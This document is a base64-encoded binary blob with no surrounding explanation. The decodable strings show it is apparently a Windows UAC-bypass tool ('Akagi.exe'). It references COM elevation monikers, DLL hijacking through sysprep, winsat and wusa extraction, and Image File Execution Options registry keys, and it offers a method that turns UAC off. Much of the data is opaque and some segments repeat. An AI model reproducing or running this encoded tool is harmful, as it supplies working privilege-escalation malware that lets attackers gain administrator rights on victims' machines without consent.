QPpIqsclhCeBP9cuvCDOGhgMoOV3di0e3h+vTCwpEDAZCW9qVDLXZ8pkBL5EziktmVzoCbHm5dgwezYUg93DBMZ9mscspHF/jeQzJLOoWyC402utlRS4nCFxwcYXDhQG27bkS5sihFlZ/0W/PiQJqyJaOl+HBok+KLBfH4cSwIQIMOdrREzXQeU8zc8BowN6XXNJ0zfKp9nL/5VHg4Ml2syGlmsTZXxbNeztizpUC509PCvUn4SLHjzSJdPQvusxWN4EClEgTgjJWIaneViGo3JL1ZifD3LRADm3B4MCBA1Q8DzZwyQYtgaZqwqH9M++ODwqNe8yvRxJ7JWLQzYcKBiafeuI+nidNmThjzJ2xZs4POrmxLdSCJ9u1cK0sUv9a3bBgZHWF0W7kytOFmfk7RKgNGDJcoz9YckERz7SKA1oqtJEDQE43TM3PmnQfC2r5nbxiRXQYmreDOIDjj9TGSs4UMvVhitHkCdx3zPEzH2wUdyie0XDwaQYTpwE0gVtz9jWoThDlJp5HY6TggOvuzhuqM6nvD89XHBqkMlfjJfQkGXIKs5NGd5OyZrEt7WVC6Oa56DyiwiJdU+hmwC0A6QyHLmOgk72x5HWI8k5eZ/j6ith3zdKzjgcktVVdpZTcDOGaTK1YEYu8M+zVpN1gydiSdL1aSbPObDzB4M1eqlZaG0wNyVcNg04mMpvuMy+6HByDObFgR034dctjStTkBu1hecZq2aeumTLT5VBfPFmdADJ+yZNT9Jl+PFyZMGfOnbhw6OFcuI4cgHDY7YATRgghK1Qpk1ZChjPcwpmHbgO8gnTpnW5m2nRRA+Dg8XFpa2tTCcmzRS33XQm4uTMFq71IAYbxykfgPHw/s+DsbIZofBxpxJkCSCkzhe2YisCO8tA17dLZ+Cr2mnLvroXprAwe7n+ueIvdmzQJJz8xYF53O3NgduO/jBvka43ClnNUZXpaZYqXcEqfY2aJmTMrz5k6xOA7nRGLCNhw4uGpCAcCGsZ2SplnXYyzZdwZMkdOnDp0+FAjR44cOnDgxoEEnYkYsGiZEyRMD8tKzZbPJ8ucL/b90KHGkRw3cePg4SIGDDcyeKW7LkyZD+bFmQNnzuPadVpQps6PHIzRVc2aAwmMSrBPx58lRLdHA7RjR2fLP7oVap4iegIjOFHgoK9xYm1tU2RRk/hFmThmyJk5p8+TMrToWaPGpjJKA5I+4sMCzinyVsvV4gIcOaXFAVYLoZ0wtOrRo0aPwflv+IWJwAeMHHAvzewlU+YjGdzmIxje8Cq3vVqjqw3wXCO2lwyDQ/Aq6TShioYSmWAOjLkzd6acOnToUSi8B0HEMGmdefwTCFkw4dlTKclqc2r1xM/vwRnDdOlalk9OHjj9pTjRUFVfcbAEqZLZOWXMsC2dMawPnn+MqIHJT4bjLUDAw9H8ExgY8mRCS6OXlrfL3zkwpcjKbb3upMjMqikc8OSo+YMG888yNzZFTAjDuKzcFHbHCF1z9wHQozJ5digpbYVpoMANWTHtnDNGR60TYEmZMDfOn2pHKIGhR4RP2HLAIIOI/onmMhDZbFOkEgZ6jVkymBhiT5hI2sndjjorXCHCwRQTABkzdEr22kzeE5nZmfIGzODGdJzYAlzMGDj7J5/fWI3pRHOG7nfezXVL5rGqM6eOzmxNrd2sYwsjWFeIYEEF+RkY830hBdizZgC9wVgRee6eWW6s9bvPmgR4Efo44BlCKBG3ocgeZk8QZ0LUPSlLd5e6HIjTw6KNojwzYMiAAVBcccbmxbs17JmTbUhZ8031WzVmaxAb/p78Rf1k5Idzpgs8NQJC1wIsnb7qrptV4g7pJnTnZlPK2jhY++ABqtNghSixpUmRKfudOe08+TDnu3IJtI5YosKLDgFz6bSJYwJqICtkvGtMLyMDR8wJIznlTDpzZZisQFscIiBg1J2CBmT4cSSNjuZdDfN3CKszd9xiTjDM2QV1+jg08d7VZxvGFdsZpsWTPBOZDGIzpjdYyqI+S+zup3iKIzxP5IGkB7QlGTLG+ZOo4akzpPyZQmaM7To62NEJc74cVkDg3rEDBDwZWJJ5/3o8mdcWzGwwNM6dVXSO0ddH+Rw4EeCygWYGUAkyJcn4lkz+Mw+ZuzErPpxMBOmdk0f6AUhyhZCDggdbGxJkpZaeTbnjYqOZRmegiToQGtL2t4pfOD2l0IMjFgl3Mg5Zk0VN6zcCzLUzR87bb8Tqs5NH5cw5UJDH9RY2DWACY7zjIGyZQDccm0FnuC07F3jRjROOEdodxbCAejYMbSdUyP5WTvbDZLiZFu5+lkl0n9CQR7wMOdOiyMkDZQx0om3nAyVy4QNmEZjMZ9+cj/OU8g9HjpwDAOXAswOOPJuSNOuTJlTpMmaNGsxYzn+/y+mBpviMozpP4v+DXDkOJjBby6wkeJu61sA5ZlfOKwp0KOGjjb4c3SXQwIADmRApMkv5k2IZqTMw/JlZV87iCnR4hJNHKSw4yNDAUzMG5BoCZCmLJlq8M2bnzANn9q06OtjRwHeOYm1A4FKxA648GYhUyUMzfJnSVsxqA2fHuzog6MuTR6YsOE3QwNhWNgx1AmRNoybbqTPUmakzof6d4UToJ5NHnkwfcODcsQM0PBlysfmTfXyZXlbMGANnX4cYdnhgp0eLvLZ34EiJAw+8OjlkxaMCRJczaeyAImfcnTpn6MWjUo4KOHD3wJkDHwwDMmTSkzpMhDN4zJssN+a8Olbo8qNFqpw0VuDngSsGLDAyTsm4Fme0M27imRyHbqw6Mp3RwTLldQtCzqSBb2oMWlMIpd0mOMlcEanregnO+1UGhbDXLuEcVnCjr+9wcn4ZRwe9w0c+7VpmrfV+FKnLbXToktEi72hdJZLA6ANFeWtAAaeTUgXJMyKp73zrrPepdVjRyiTrbTzgrKnyd6INXVf0zZ9JNSYyBs/cXRKjnL91nLTRIe9/XXKTpIJEY3haXgXF4FWsmBZng+lWCc9IOBKH0ecr4k48FYdAh2Z0X3xAZL/2VEzeVgipi0F3xNxZNeSA1iKOaV1wrqX1QnYMcHARr/VDPti9Cow7w2aEnHwGjYqhY9x5CGGPo/wBVWUbSBbLwUMh9kcD7NpcCr7oGn+7pOM3/nNKBJPhhGKOfHBC68/jbz9cMWaC+F4CmPxWHe61ckX+HXwfjaHogWhRGHUWpuZWAZg8NcvtMKTOsDgngLDRpetROSWOo14ENh3JNTSc4EM+cjERrYJwp6/zVRqBssNNfRKaALLB1XFnHA9BdtlvVjv4MBnOyzIX3/0y9uLWwUV8EoxkkLfRYnIScb1nm5KvT5gyMrXpLwLOHxPUyMC+MetPKBOIpexDB35wRMXZlmUj0F121PezRe7yVxaBvyFu3m5yH9Dk8homX1UyYJ7TTyL9XBG/oB0w3vlJNYphuAXifTgTi6LuYnRoGdNLyNpSKfRiTG2YcEnBdjigxZqiRo1aUQKTevVkB0VpNlXNMicCqeGdU5hCT4rc6zTg0ahAjAwsk5Ds0QJPYnCDXLi790yZQCKl+FQJoe46AIGy7ijqeX3QjqHjb2M+FWFU5pFVnIRHIKD4VBTN/D1k6aTTC+F7dfCFs/JiYWlOA2UJx0M+9FoIbYDiBfGiOmvpzqJYjwM5b+HAgcuyHhlaZHW7IZQZGmaMmSdHzp2SfPsBDkedHDhj8VIzAx2uGTE+R5MljpkwZ+/bM2CAyDp33NGgKY4fJnDjwtQDBfoZYTjJlMJIwo1mzt5WE53pWwbopdY3x3JeH7fAgTAFRHxTFI+TVCn8M2aZmHZntu1bGoyUzTEOdUofjq3kbYYZGUANp/RVG5nJZs/WRhO+6E4wqLTBMulPTPHql4EDBnMZcQim4KIp0TN8oPwzSEy4ujWEvcwkjk24VeCp9VN0Y3pXF/HgJu4YCGLKGARnzp3hdKujxib6eTt06kCkSENeV3coyaAUYv1fCsyZM/XMz18TuaTGR/xlbhGMteRGDHSZIuFImmk8/F1Oh/xKZsb1u3OstLMr62hd8OiXgVcBjR4wLMmUJg3dZSfQyXri6Qye7eHTo1ednD/wgECZwwc0GTIiSRMnxJkyZs3ZMDdbTT92KNTLl4sVPH7l6cEJBwzYN/SJkYZ8oTNmDJg8p8wcOhTbyaNH8x0htOMAgzcHTBtkZJqTeUzPI2aJmWEnzNQ6OzzR7YeNVXhxpgCDggyspDaLN5Nma5BxTldZJKPPojtzKtGnRwYFLTLk4IEHB8wKRmS7kyYlmV1mq5l1Jg6cVnSN0eoHjXoscI+AiP/GLhgyVJ2TEoyZCqTN+3NmzrU6RuiQuQROFFVwyLCBYsYHYHJHqJMgIdk8Z9vMMyDOvV807L5jUfoceDbgxckvBhxZF6HR12ZG6jPEr1stF87pemqHkbIGTRJ5cKPAzMMBLFzycrtTPjSZSibf3Wdngt06dCjOq4+fSimw6bKBcM4DKDJKdZMfjJnyZ0zOc2XJXTEhKeXXhYRy+FuMiKpF1gxsMgapk00skdJpZPEzRS6YdhTttoFCI70kAMDQICdhbABG5M3CSU65M05sjxqH2q9/VPzgg2GuHBWQxPCxAzcMLJJm5rEYTHM4hsDWEUep/TWX+jSAQC8dm1kJ068DYgx1kUTJcjJgmTWGy8nTYKTymnadsYozJgYYC+C9ZCsGrAhTQqKWC2t0FSK5GT9mbtNbVOR0sWDNHPBwxMABWAZYuTGF9plV7ItSjPSQN9fKnQZLkLzPZ/h5OAKTqe5tOysoMkr5tAYp91AJzv0z6/O6byCu/IN/qTxLBKBJ4G8GY3dXWe7qQz+ZFFnylDlbr+66B428wSv3PDh44K7yPiF5a1xeyeBFJPxeB7+0Mwqn/kgbm77FR/oxWx+N+uBwBmE3RFXus0stGV0PqvxAE5g0N3Wo2INnsmhKBZNW9WKZqBAQ2MCgBK6fMkbL6lYEu+9TAG6oR0auHkoVkbUhDwZpfWIWoOVPIKlWAanqtWQHnn8M7ZGkM04CdBWWpe0HJmC4Mlnu8lUFmV0Qo/JWFem9KgGBkMBGKyEfFmCh7XBjKzkd48UBCfuVD0mmiw9ISIbDtO/tjKKonDnxpL+BPALzJjZbzawic50MYvOdHmPOwjg02NC0d6QseUDgjbFkNmIptlTJABbUqflWLqkzlv6cC3zZwJJHlC0dQdTx3TIGbiiSVQii4X2ZDlS1q7RVWK/Fuewuo1iPAzlv4d+AHAcTGM17yIwnU5gsZ9OYLGbRnCV1F86iWI8DOW/h34AcBxMYLWXIjCdMmQAyeMmTiPWZfjxcmTBnzp24cOjhXLiOHIBw2O2AE0YIIStUEZNWQoYz3MKZh24DvIJ06Z1uZtp0UQPg4PFxaWtrUwnJs0Ut910JuLkzBau9SAGG8cpH4Dx8P7Pg7GyGaHwcacSZAkgpM9/VS3aatiEsNe3Sg8D5CsZy732FFfUMHrRHfYTQXZs0JdplM2Az5RFV6tYlZDALOX+yqZ1gbg0iNirPlXYJmTNmgJg2Z3v8cna+1Lenjh4Ze+GQjwMGBhkjdM2GPmkdNkZOniNnT5Y4dDTRpUeJmTny7KABAQaeGfM6yZMkTNkymMyYJ+XvnTj261OrRZsdOhAk4oEDLg0dMsARFCfiGDbvzckzZ1oQM39J1iMUsoQrXpSl+fFyjBYLbMmRpwcYRurzmDNGrrNIEImlwr+OHHCx5sCFATqMX3JpWhUmzLdzSE+QMwuPmDREbtepRU4V+F6Ssz1xZUwc8F7Jl+RfjblvzpmzYo6zSBGEvixHhN4GsKDA0gMGFtc7movYIjOaTHaziUx3sY13ZOhUajO5meoE08DngD8MbTkCWZuljZtyZ7luZWjOKggSbSfXVKUM6RZp8UEBCbsdMm5CY0DJWUaJzKrzAUecZP8p0WCLQkuzids6gXYCP9ltp0xsBjmcsK4zmTK1u50/+arQ/ISl5jnQ6MyWjkezf7FkMYpRRBRyRsOZhJcln7GF52apTSUe+NDiAQLBBA1YPGGvqNY4Xzxme1E80AjDEbVijmNLQhk4JmsxAREEPFkkSPJhUmTOM2l7o1XiMekjdMMHxUiRWDhwyKYIOmMZ4VVxlhgiiseQbpkS3+QinS4nvlqWL74cOGDTEjhngAwZMu2ca3HH3w8AzKB/V8roM/9U1ZPPTjjTdGu8sQN+h1UFQMptJUxXuhs4EH6LRZ19VGOeu0RInziZ4UnE849B5TprQQxmSRQvdx2ZyOzKBTmEaS/jG68cKASCoJVFBLNYM083GSJ7FDMucxnKfrmfPlTIW7XKxH45c2DAQyNAiNlGYPOT5DhEPNgGlo1nDrb7DeNa9r+GkXOP4MtqDo1BGc7hCe0zwcoyRwyKCK2ypHliY5S7t2WT+HTAwqaIQwz1uRk9nJFAwTNdg41Af0XaJnS3j/jKipSzfeFBmogCBBrz7ywTe4/GbVUMwjJmjx0S8SHeJ8nOClxyQcEeiEY8kmJ0TVQnTL4z7U4d02XOFHtwY5Pfzs8cMPuitAhCCocZcChA0jbH22NmRdgn7IzJszXoySgF1pV5bGvAw1+PTTm5JqmTrw29uCSoEHJn5hZ4HGGQj7CKXRSxKc82QWpq2bsl+ZyRztgaJs2JAexMEfh/3KWxRwVeIPmh+ApBBhCQc1hC0QbFlXIm66XRVNYQf5zqaKLf2JfKtuDAiY5GDRkcETz7tkS5M3aMmmOY2407VukpKjJ6TLU14DBGRvYMGTpm6NMnpF52ngyVMzfu9zqL/eEjQwvcOAn8/aIDBsxtaHEJlQZsm/Nm5FkzVMpdZDXKWua/X/T/UuHjzeMJjfWuJMGQAs07IzX/Qro6Mv0fNL6GkLgFbJhjEMAIdv6FRN5r1vsmxIGXdTp5IyfFhXs041RjSAYsWLhZxsGDB6xIVF3Q5t4MloQjPhjaRsxMOo1l1evETh5oMIrI1/wTCHk274lro7OWt4pMU7hni2m/tJz1mL/MaBgV8EtOZQZRCDICQIKrDJs80f6JUm5LT94baNKaWBpoMJXrfsAIvFA5JXDiYidK0DNgyJe4kR4aWnf83UNKLAb4cQrXhYgzTwzCM5ls8F1ZMqGJTRJFR9jmdGWUdxfmIzh/4MAMRvqFROo02VRjrNlDYEXE16dHwNKL/dmzQq8TSkoQy+ljxgzZMUTNGGJRrYFmIMlZJ9UpMiSC09FG++DHo+XgjxFFFRIPYcmTNsyWtpo8ncwSIr1QfBekW3Of7L1gFs8F53YNlHeID8OWTUkwMKabo2fOmYiLuNW2R24ZunD0sYcTWADedzXNk6OXETziXPkwNKblO3bsxIcXjp/8eG1F4Wv58+aL9ee7A/UIEhRB3PdPzxC39erXZKWMzTqYKTx+/JcsG2LvCMMDJpkmZsbKEkHO3X7/MFR4x/o/xwUkP5SSDgTmR6xKk3DH7MtyppkTedKNMp/K4omchR0pkvDVcBvtCT0BvwmRrQmJDBLcvmNDZJDaOeKGJUPRQiT7IwW9Iy39K9acSLfKNFm55fF4O2fBH74F+DmRunHjWGnsRWSzFm4WvyDtgzTcJzxi6CA8K+qNHLOI09FIX+fIYurCwPMxSD1qa9ZCZ0ybM67OyL4z6sHSVqMBssRKGBhtn/3DBxYsakrd2aOjwaG3QqQ5MJ7IfTgsZdMvJY/0DYofPzslxnwIN2W9amZanRcMnNk5c4+dWs7+AafLgcw84fHAlrMAH+YGQPh3MDi9N/XMGSqYMeEvWKjUFwmfIchhgNeJAvZUfWXvtJ9xGo1btsybzDPvkYB0iTH5zED0DZDnUOwXYmQFwmRArscfrDFimCN3VMyMCna3kaFcCiU9geG0kuupHBg0x/iENkWc2xcyZvOYkMD4ZOigpHKOboFB1HjRUw3/cMp3QIErLZiLYnyYumqa6Gh0sIGj/l+EUnLxwjkpIg4bOjbJn3ZMIB8XvIT0Yt49OhXsLrqy4ts9QeOjgytmDng2o02WCtyZ03DMiRcwz2wZCeTV1mDmcAsg7vOOa4KqGbJXIapnPKq4I9xeM4bKJdtU9tH+hYLcP1/g34D8GQ0GM3vIjCdTmCxn05gsZjGCO2vpzqJYjwM5b+HfgBwH8wYze8iMJ1OYLGfTmCxm3pyQXFiglXeOVAhwtPCBqWo8GbZUyR0WTDUDZmYjA2ccrTqq2NFVd44GNPA77ETY9g9FMjfJk0lM/zMSzO4zZ6+dSHSN0f9Xjl04G1DA5gNvWekzKBmSUByYf1bM7T43zPgKdojQowblfTgXieDtZnJ4fDIW6fVJOfdXXMy5FhC9nR90m4WjPr4cTIDirTEBaRnpMRCZkno2mABm/ppDYb+ZWXSF0cdHhDLocpjwgQMGeXoyCYX8RyjaUgrM9VEGrfYWVIzhzyuucChxMcWtIwZIdV4mqOBDbNkORunpOWrOmVHluNLRR+BMOBzgkYQZKNwdXrcHLCIn/EHmovxfVPy9WEXs6vFMvxRNwOmxjP4FT2syAajnQxzrXAXM/EAUmZ06JJ3R12f3c00CwLOBamFieEYRu/YmbPFWFKmZew6O/1MfgfHCko95OAKWqeJmKixY0gCk+lQtC+QHyqYzaNGcJXX30LlGwKmqcCDAbSEByCcWZMKVBkuWOm/kujNn+Mg6d6DRoBOOH1Rw40TUgweCmTPISZKczJjhM0yY7efPa7p15FGGa42dH3DC6IBNckh8Mgis50MH/EpmzAYxNbrxexiE0cwk72hdOIWhiXMGcpk9K7n2SEUYPfzPGT0hvPhfdL2/yiTheF0j4LTzamhrGTKL6BItBfdaEkCS2GfO0043hL7QIo4et/L8r/NuZ3haMhG74UMi7WYVyPxB5+fNWwCA0e3SDBK4W2L47weGPlcyEJrnRzjsQDLM9ncIvdhIBofR0UevHHwSh5Cggz54GTKWSIJ1KZlHKq3qRzCn8z5H2tKyR8wedgSglORxa2V3sjuZk1Qj+lYVv5kzZaNcLTGQocIp6hx9Hpap82xoYZpyRIq8VRPMM7QMoTM2u/hIDb6wz0X73nkelKTtbyjz2TLtkGwkM4lMdrOJTHexjQsY+NOjV64a+Bdg2ODjBjQZMuQJk25MmGdmzTkyNz6fOJTquTq3jBU8/uLghAIG7Ruw9OmShgyZM9JNnrAHz9w6LKvRozoPECmU4XSDNyYNTzI3yZN5TM8zI8zLckfP1Do76J9DRscRmHCmoIBCA7Ed3Zqnk4RfHDqFzKayZKydPiLo9KACjAg4cuEgiHcGDGsyDcn9JiudMyAsmV9nq51zJUjQxUfhHD2AgNGAUwY8GQYEyarETPtyxsyZM1XOlJp5q5DDQ+McSHCBIIR6N6wIU2SkMyGtkmZm5N4zR+6fVRTjpaMkrj+4cqbAjmMAaRV2demWVUz6UWm8mUdq7pJV1OCypAaOXzhSrSCCIwZNuSwWyfFALJB3ZoC5M4bNrS504DmrEW4YSnCTcWkENAw3UnCskybsmGVhLJxSfbr/PxoIxM+SJglwEOei4QNtbBnTb2HPJlB5NiqsnFRFy0ybaJjR2mWbe1hp4EsM4xVj+SwNy7MmZDkx7OW5JlVukgt03fGiliE8BnDroIpMYgW4HByok0qqtxJ177FadeCJOhCI1c8GnRwUcErGYQRW7B5dxMvmxmv7R07VmTMy7rtZU+iOw3FvOFN1TeXsJkKsFTNpqb1HbJWcJ8yZF2eXnWB0vHGgJrBv2GKB0es0DwipM2DJrxlM4V4K7O9WFb2dUxuG7IR2oCwIV8Cl76PHLNgPQ8nGcgq0C0Hs6jETjjBbGIe/xnqOO0EVk+e+PQsMEw4FuuBDIfs7CrW5M2+g7gdT6KTRKbRvWxiFwOxidSF0Wwe7k0k/9lUS4fpcZ6OnWweF/9V2jjsYHYGu6GVjFGpGMmCeZkW5E1rM7UESvelzGo4bzOOHPoR50+LzAJYPGUEBquZUJe1KJTiZI2a8+EsBuNfGRercXQaJrORkY6pq9GUgkmM0OTASrJazK6vrXxjIvfJHjiEfEZOJ73VpDHJXFu6zUyXYMQXd/g5AqPxWBzi0hGehWz5fv8bUBWIwNght9bzgQXkwWjK2RnQOnahWp9G8RpEdJ3Ef34AcBxMYLWXWkjlNhjJ5zSYsZtGcJXX30LdGjkOs0ODAezNXPUUDyfiT8X00AdH+RQFnIK/PRrji/nSOcwvx0wqy8jUMFQYn/cMSEK0z8/giB6P6QQ50CuWccsApb0XgpLR2M40spFHJDBPhrP1TsK8z1/ggDLPeAJVHfCrARuD3kTQGGi4uU+2kEHuZcVGqrk5QTKo6/N9flOO5tQ9wT/c0NMY73QVkFKTBe3IEl/uZxlDEpSpM/elbXLYwWBdUye4DGQ0GM5vWkjlNhjJ5zYYyeM+CO2vpLrxGkR0ncf/BngIZDQYze8iSPE0AAEQAOgAoAEEAOwA7AEcAQQA7ADsAOwBXAEQAKQAAAAAATQBBAEMASABJAE4ARQBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEkAbQBhAGcAZQAgAEYAaQBsAGUAIABFAHgAZQBjAHUAdABpAG8AbgAgAE8AcAB0AGkAbwBuAHMAAAAAAAAAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwASQBtAGEAZwBlACAARgBpAGwAZQAgAEUAeABlAGMAdQB0AGkAbwBuACAATwBwAHQAaQBvAG4AcwAAAEcAbABvAGIAYQBsAEYAbABhAGcAAAAAAEgAaQBiAGkAawBpAC4AZABsAGwAAAAAAFYAZQByAGkAZgBpAGUAcgBEAGwAbABzAAAAAAAlAHQAZQBtAHAAJQBcAEgAaQBiAGkAawBpAC4AZABsAGwAAAAAAAAAJQBzAHkAcwB0AGUAbQByAG8AbwB0ACUAXABzAHkAcwB0AGUAbQAzADIAXAB3AGkAbgBzAGEAdAAuAGUAeABlAAAAAAAlAHQAZQBtAHAAJQBcAHcAaQBuAHMAYQB0AC4AZQB4AGUAAAAlAHQAZQBtAHAAJQBcAAAAdwBpAG4AcwBhAHQALgBlAHgAZQAAAAAALwBjACAAdwB1AHMAYQAgACUAdwBzACAALwBlAHgAdAByAGEAYwB0ADoAJQAlAHcAaQBuAGQAaQByACUAJQBcAHMAeQBzAHQAZQBtADMAMgBcAHMAeQBzAHAAcgBlAHAAAAAAAAAAAAAlAHMAeQBzAHQAZQBtAHIAbwBvAHQAJQBcAHMAeQBzAHQAZQBtADMAMgBcAHMAeQBzAHAAcgBlAHAAXAB3AGkAbgBzAGEAdAAuAGUAeABlAAAAAAAlAHMAeQBzAHQAZQBtAHIAbwBvAHQAJQBcAHMAeQBzAHQAZQBtADMAMgBcAHMAeQBzAHAAcgBlAHAAXAAAAAAAJQBzAHkAcwB0AGUAbQByAG8AbwB0ACUAXABzAHkAcwB0AGUAbQAzADIAXAAAAAAAZQB2AGUAbgB0AHYAdwByAC4AbQBzAGMAAAAAAG0AbQBjAC4AZQB4AGUAAABuAGUAdAB1AHQAaQBsAHMALgBkAGwAbAAAAAAAJQBzAHkAcwB0AGUAbQByAG8AbwB0ACUAXABzAHkAcwB0AGUAbQAzADIAXAB3AGIAZQBtAAAAAAAAAAAAJQBzAHkAcwB0AGUAbQByAG8AbwB0ACUAXABzAHkAcwB0AGUAbQAzADIAXABjAHIAZQBkAHcAaQB6AC4AZQB4AGUAAAAlAHQAZQBtAHAAJQBcAG8AbwBiAGUALgBlAHgAZQAAAFNoZWxsRXhlY3V0ZUV4VwBXYWl0Rm9yU2luZ2xlT2JqZWN0AENsb3NlSGFuZGxlAFwAdwBiAGUAbQBcAG8AbwBiAGUALgBlAHgAZQAAAAAAcgB1AG4AYQBzAAAAXABjAHIAZQBkAHcAaQB6AC4AZQB4AGUAAAAAACUAcwB5AHMAdABlAG0AcgBvAG8AdAAlAFwAcwB5AHMAdABlAG0AMwAyAFwAaQBuAGUAdABzAHIAdgAAAFwAAABJAG4AZQB0AE0AZwByAC4AZQB4AGUAAABbAFUAQwBNAF0AIABJAEkAUwAgAGkAbgBzAHQAYQBsAGwAZQBkACwAIABhAGIAbwByAHQAAAAAAFMATABDAC4AZABsAGwAAAAAAAAAVwBoAG8AZQB2AGUAcgAgAGMAcgBlAGEAdABlAGQAIAB0AGgAaQBzACAAZwB3AHgAIABzAGgAaQB0ACAAbQB1AHMAdAAgAGIAZQAgAGYAaQByAGUAZAAAAGUAeABwAGwAbwByAGUAcgAuAGUAeABlAAAAAAAAAAAAWwBVAEMATQBdACAAQwBhAG4AbgBvAHQAIABvAHAAZQBuACAAdABhAHIAZwBlAHQAIABwAHIAbwBjAGUAcwBzAC4AAAAAAAAAWwBVAEMATQBdACAAQwBhAG4AbgBvAHQAIABhAGwAbABvAGMAYQB0AGUAIABtAGUAbQBvAHIAeQAgAGkAbgAgAHQAYQByAGcAZQB0ACAAcAByAG8AYwBlAHMAcwAuAAAAWwBVAEMATQBdACAAQwBhAG4AbgBvAHQAIAB3AHIAaQB0AGUAIAB0AG8AIAB0AGgAZQAgAHQAYQByAGcAZQB0ACAAcAByAG8AYwBlAHMAcwAgAG0AZQBtAG8AcgB5AC4AAAAAAHIAZQBpAHIAcgBhAEMAAABpAGcAYQBrAEEAAABrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAAAAAbwBsAGUAMwAyAC4AZABsAGwAAABzAGgAZQBsAGwAMwAyAC4AZABsAGwAAABBAGQAbQBpAG4AIABhAGMAYwBvAHUAbgB0ACAAdwBpAHQAaAAgAGwAaQBtAGkAdABlAGQAIAB0AG8AawBlAG4AIAByAGUAcQB1AGkAcgBlAGQALgAAAAAAVABoAGkAcwAgAFcAaQBuAGQAbwB3AHMAIAB2AGUAcgBzAGkAbwBuACAAaQBzACAAbgBvAHQAIABzAHUAcABwAG8AcgB0AGUAZAAuAAAAAABVAHMAYQBnAGUAOgAgAEEAawBhAGcAaQAuAGUAeABlACAAWwBNAGUAdABoAG8AZABdACAAWwBPAHAAdABpAG8AbgBhAGwAUABhAHIAYQBtAFQAbwBFAHgAZQBjAHUAdABlAF0AAAAAAFQAaABpAHMAIABtAGUAdABoAG8AZAAgAGYAaQB4AGUAZAAvAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAgAGkAbgAgAHQAaABlACAAYwB1AHIAcgBlAG4AdAAgAHYAZQByAHMAaQBvAG4AIABvAGYAIABXAGkAbgBkAG8AdwBzACwAIABkAG8AIAB5AG8AdQAgAHMAdABpAGwAbAAgAHcAYQBuAHQAIAB0AG8AIABjAG8AbgB0AGkAbgB1AGUAPwAAAFQAaABvAHMAIABtAGUAdABoAG8AZAAgAG8AbgBsAHkAIAB3AG8AcgBrAHMAIAB3AGkAdABoACAAeAA4ADYALQA2ADQAIABXAGkAbgBkAG8AdwBzAAAAAABUAGgAaQBzACAAbQBlAHQAaABvAGQAIAByAGUAcQB1AGkAcgBlACAAVwBpAG4AZABvAHcAIAA3ACAAYQBuAGQAIABhAGIAbwB2AGUAAAAAAEEAcABwAGEAcgBlAG4AdABsAHkAIABpAHQAIABzAGUAZQBtAHMAIAB5AG8AdQAgAGEAcgBlACAAcgB1AG4AbgBpAG4AZwAgAHUAbgBkAGUAcgAgAFcATwBXADYANAAuAAoADQBUAGgAaQBzACAAaQBzACAAbgBvAHQAIABzAHUAcABwAG8AcgB0AGUAZAAsACAAcgB1AG4AIAB4ADYANAAgAHYAZQByAHMAaQBvAG4AIABvAGYAIAB0AGgAaQBzACAAdABvAG8AbAAuAAAAAAAjAFUAQQBDAE0AZQAjAAAAVABoAGkAcwAgAG0AZQB0AGgAbwBkACAAdwBpAGwAbAAgAFQAVQBSAE4AIABVAEEAQwAgAE8ARgBGACwAIABhAHIAZQAgAHkAbwB1ACAAcwB1AHIAZQA/ACAAWQBvAHUAIAB3AGkAbABsACAAbgBlAGUAZAAgAHQAbwAgAHIAZQBlAG4AYQBiAGwAZQAgAGkAdAAgAGEAZgB0AGUAcgAgAG0AYQBuAHUAYQBsAGwAeQAuAAAAAAAAAFUAcwBlACAAMwAyACAAYgBpAHQAIAB2AGUAcgBzAGkAbwBuACAAbwBmACAAdABoAGkAcwAgAHQAbwBvAGwAIABvAG4AIAAzADIAIABiAGkAdAAgAE8AUwAgAHYAZQByAHMAaQBvAG4AAAAAAHAAbwB3AHIAcAByAG8AZgAuAGQAbABsAAAAAABkAGUAdgBvAGIAagAuAGQAbABsAAAAAABlAGwAcwBlAHgAdAAuAGQAbABsAAAAAABuAHQAdwBkAGIAbABpAGIALgBkAGwAbAAAAAAAQgB5AGUALQBiAHkAZQAhAAAAAABTAG8AbQBlAHQAaABpAG4AZwAgAHcAZQBuAHQAIAB3AHIAbwBuAGcAAAAAAGVtY2F1AAAASQBuAHYAYQBsAGkAZAAgAGYAaQBsAGUAIABjAGgAZQBjAGsAcwB1AG0AAABFAGwAZQB2AGEAdABpAG8AbgA6AEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIQBuAGUAdwA6AHsAMwBhAGQAMAA1ADUANwA1AC0AOAA4ADUANwAtADQAOAA1ADAALQA5ADIANwA3AC0AMQAxAGIAOAA1AGIAZABiADgAZQAwADkAfQAAAAAAQ29Jbml0aWFsaXplAAAAAENvQ3JlYXRlSW5zdGFuY2UAAAAAQ29HZXRPYmplY3QAQ29VbmluaXRpYWxpemUAAFNIQ3JlYXRlSXRlbUZyb21QYXJzaW5nTmFtZQBPdXRwdXREZWJ1Z1N0cmluZ1cAACUAdABlAG0AcAAlAFwAQwBSAFkAUABUAEIAQQBTAEUALgBkAGwAbAAAAAAAAAAAACUAcwB5AHMAdABlAG0AcgBvAG8AdAAlAFwAcwB5AHMAdABlAG0AMwAyAFwAcwB5AHMAcAByAGUAcABcAHMAeQBzAHAAcgBlAHAALgBlAHgAZQAAACUAdABlAG0AcAAlAFwAcwBoAGMAbwByAGUALgBkAGwAbAAAACUAdABlAG0AcAAlAFwAZABiAGcAYwBvAHIAZQAuAGQAbABsAAAAAAAlAHMAeQBzAHQAZQBtAHIAbwBvAHQAJQBcAHMAeQBzAHQAZQBtADMAMgBcAG8AbwBiAGUAXAAAACUAcwB5AHMAdABlAG0AcgBvAG8AdAAlAFwAcwB5AHMAdABlAG0AMwAyAFwAbwBvAGIAZQBcAHMAZQB0AHUAcABzAHEAbQAuAGUAeABlAAAAJQB0AGUAbQBwACUAXABBAGMAdABpAG8AbgBRAHUAZQB1AGUALgBkAGwAbAAAAAAARQBsAGUAdgBhAHQAaQBvAG4AOgBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByACEAbgBlAHcAOgB7ADQARAAxADEAMQBFADAAOAA